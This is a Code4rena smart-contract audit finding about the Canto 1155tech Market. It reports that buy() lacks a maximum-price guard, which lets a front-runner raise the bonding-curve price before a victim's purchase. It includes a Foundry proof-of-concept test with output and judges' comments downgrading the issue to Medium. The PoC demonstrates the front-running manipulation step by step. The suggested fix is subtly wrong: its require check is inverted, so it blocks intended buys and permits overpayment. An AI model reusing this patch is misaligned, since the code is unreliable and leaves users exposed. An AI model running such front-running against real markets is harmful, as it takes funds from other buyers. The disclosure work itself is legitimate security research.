Platform: Code4rena
Start Date: 13/11/2023
Pot Size: $24,500 USDC
Total HM: 3
Participants: 120
Period: 4 days
Judge: 0xTheC0der
Id: 306
League: ETH
Rank: 116/120
Findings: 1
Award: $1.37
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: rvierdiiev
Also found by: 0x175, 0x3b, 0xMango, 0xarno, 0xpiken, Bauchibred, DarkTower, ElCid, Giorgio, HChang26, Kose, KupiaSec, Madalad, PENGUN, Pheonix, RaoulSchaffranek, SpicyMeatball, T1MOH, Tricko, Udsen, Yanchuan, aslanbek, ast3ros, bart1e, bin2chen, chaduke, d3e4, deepkin, developerjordy, glcanvas, inzinko, jasonxiale, jnforja, mahyar, max10afternoon, mojito_auditor, neocrao, nmirchev8, openwide, osmanozdemir1, peanuts, pep7siup, peritoflores, pontifex, rice_cooker, rouhsamad, t0x1c, tnquanghuy0512, turvy_fuzz, twcctop, ustas, vangrim, zhaojie, zhaojohnson
1.3743 USDC - $1.37
https://github.com/code-423n4/2023-11-canto/blob/main/1155tech-contracts/src/Market.sol#L150
The token price for shares can be inflated for another buyer
https://github.com/code-423n4/2023-11-canto/blob/main/1155tech-contracts/src/Market.sol#L150
The Market::buy()
function has the following signature:
function buy(uint256 _id, uint256 _amount)
If takes in the share ID and the amount of tokens that the user wants to buy. The price of the token is determined by a Bonding Curve, which takes in how many tokens already exist for the share ID, and how many tokens the user wants to buy. Currently, the project only supports a Linear Bonding Curve, where the price keps going up with the amount of tokens that already exist and the amount of tokens that the user wants to buy.
Now, the Market::buy()
function does not provide "max price" parameter that the user could set, and so the Market::buy()
function goes through with the price at the moment of the execution of the transaction. So the user might anticipate X amount of payment tokens to spend when buying the Y amount of tokens of the share, but in reality, they might end up spending Z amount of payment tokens, which could be more than the expected X tokens.
A user might be interested in buying some tokens of a share, lets say 20 tokens of share. And by calling the Market::getBuyPrice()
it might suggest a price of 50 payment tokens. But another user could monitor the transactions, and perform a price manipulation attack by buying tokens first, which would then raise the price of tokens of the share, and the original user might then end up paying more than 50 payment tokens.
The test below can be placed in 1155tech-contracts/src/test/poc.t.sol
, and use the following command to execute it
forge test --match-test "test_poc_userBuysAtHigherPrice" -vvv
pragma solidity ^0.8.0; import "forge-std/Test.sol"; import "../Market.sol"; import "../bonding_curve/LinearBondingCurve.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract MarketTest is Test { Market market; LinearBondingCurve bondingCurve; ERC20 token; uint256 constant LINEAR_INCREASE = 1e18 / 1000; address bob; address alice; function setUp() public { bondingCurve = new LinearBondingCurve(LINEAR_INCREASE); token = new ERC20("Mock Token", "MTK"); market = new Market("http://uri.xyz", address(token)); bob = address(1); alice = address(2); } function test_poc_userBuysAtHigherPrice() public { address shareCreator = address(100); address buyer = address(101); address attacker = address(102); // Create a new share market.changeBondingCurveAllowed(address(bondingCurve), true); market.restrictShareCreation(false); vm.startPrank(shareCreator); market.createNewShare( "Test Share", address(bondingCurve), "metadataURI" ); assertEq(market.shareIDs("Test Share"), 1); vm.stopPrank(); deal(address(token), attacker, 1e18); deal(address(token), buyer, 1e18); // Approvals vm.prank(buyer); token.approve(address(market), 100e18); vm.prank(attacker); token.approve(address(market), 100e18); uint256 snapshot = vm.snapshot(); /////////////////////////////// // Normal flow to buy shares /////////////////////////////// console.log("Scenario: Without Attack"); console.log(" Token Balance Before: "); // 0 console.log(" Market: ", token.balanceOf(address(market))); // 10e18 console.log(" Buyer: ", token.balanceOf(address(buyer))); vm.prank(buyer); market.buy(1, 10); console.log(" Token Balance After purchase: "); // 57599999999999998 console.log(" Market: ", token.balanceOf(address(market))); // 942400000000000002 console.log(" Buyer: ", token.balanceOf(address(buyer))); // 57599999999999998 uint256 buyerCostWithoutPriceManipulation = 1e18 - token.balanceOf(address(buyer)); console.log(" Buyer spent: ", buyerCostWithoutPriceManipulation); console.log(""); /////////////////////////////// // Restore the state to simulate the attack now /////////////////////////////// vm.revertTo(snapshot); /////////////////////////////// // Attacker front runs the actual buyer /////////////////////////////// console.log("Scenario: With price manipulation attack"); console.log(" Token Balance Before: "); // 0 console.log(" Market: ", token.balanceOf(address(market))); // 10e18 console.log(" Buyer: ", token.balanceOf(address(buyer))); // 10e18 console.log(" Attacker: ", token.balanceOf(attacker)); // Price manipulation by an attacker vm.prank(attacker); market.buy(1, 10); vm.prank(buyer); market.buy(1, 10); console.log(" Token Balance After purchase: "); // 217016666666666661 console.log(" Market: ", token.balanceOf(address(market))); // 840583333333333337 console.log(" Buyer: ", token.balanceOf(address(buyer))); // 942400000000000002 console.log(" Attacker: ", token.balanceOf(attacker)); // 159416666666666663 uint256 buyerCostWithPriceManipulation = 1e18 - token.balanceOf(address(buyer)); console.log(" Buyer spent: ", buyerCostWithPriceManipulation); console.log(""); console.log( "Buyer paid", buyerCostWithPriceManipulation - buyerCostWithoutPriceManipulation, "more when price manipulated!" ); } }
Output:
Scenario: Without Attack Token Balance Before: Market: 0 Buyer: 1000000000000000000 Token Balance After purchase: Market: 57599999999999998 Buyer: 942400000000000002 Buyer spent: 57599999999999998 Scenario: With price manipulated attack Token Balance Before: Market: 0 Buyer: 1000000000000000000 Attacker: 1000000000000000000 Token Balance After purchase: Market: 217016666666666661 Buyer: 840583333333333337 Attacker: 942400000000000002 Buyer spent: 159416666666666663 Buyer paid 101816666666666665 more when price manipulated!
This is High severity, based on the Code4rena Severity Categorization: https://docs.code4rena.com/awarding/judging-criteria/severity-categorization
3 — High: Assets can be stolen/lost/compromised directly (or indirectly if there is a valid attack path that does not have hand-wavy hypotheticals).
Manual analysis
Update the Market::buy()
function as follows:
/// @notice Buy amount of tokens for a given share ID /// @param _id ID of the share /// @param _amount Amount of shares to buy - function buy(uint256 _id, uint256 _amount) external { + function buy(uint256 _id, uint256 _amount, uint256 maxTotalPrice) external { require(shareData[_id].creator != msg.sender, "Creator cannot buy"); (uint256 price, uint256 fee) = getBuyPrice(_id, _amount); // Reverts for non-existing ID + require(maxTotalPrice <= price + fee, "Exceeds expected price"); SafeERC20.safeTransferFrom(token, msg.sender, address(this), price + fee); // The reward calculation has to use the old rewards value (pre fee-split) to not include the fees of this buy // The rewardsLastClaimedValue then needs to be updated with the new value such that the user cannot claim fees of this buy uint256 rewardsSinceLastClaim = _getRewardsSinceLastClaim(_id); // Split the fee among holder, creator and platform _splitFees(_id, fee, shareData[_id].tokensInCirculation); rewardsLastClaimedValue[_id][msg.sender] = shareData[_id].shareHolderRewardsPerTokenScaled; shareData[_id].tokenCount += _amount; shareData[_id].tokensInCirculation += _amount; tokensByAddress[_id][msg.sender] += _amount; if (rewardsSinceLastClaim > 0) { SafeERC20.safeTransfer(token, msg.sender, rewardsSinceLastClaim); } emit SharesBought(_id, msg.sender, _amount, price, fee); }
Other
#0 - c4-pre-sort
2023-11-19T09:41:47Z
minhquanym marked the issue as duplicate of #12
#1 - c4-judge
2023-11-28T23:14:14Z
MarioPoneder changed the severity to 2 (Med Risk)
#2 - c4-judge
2023-11-28T23:39:01Z
MarioPoneder marked the issue as satisfactory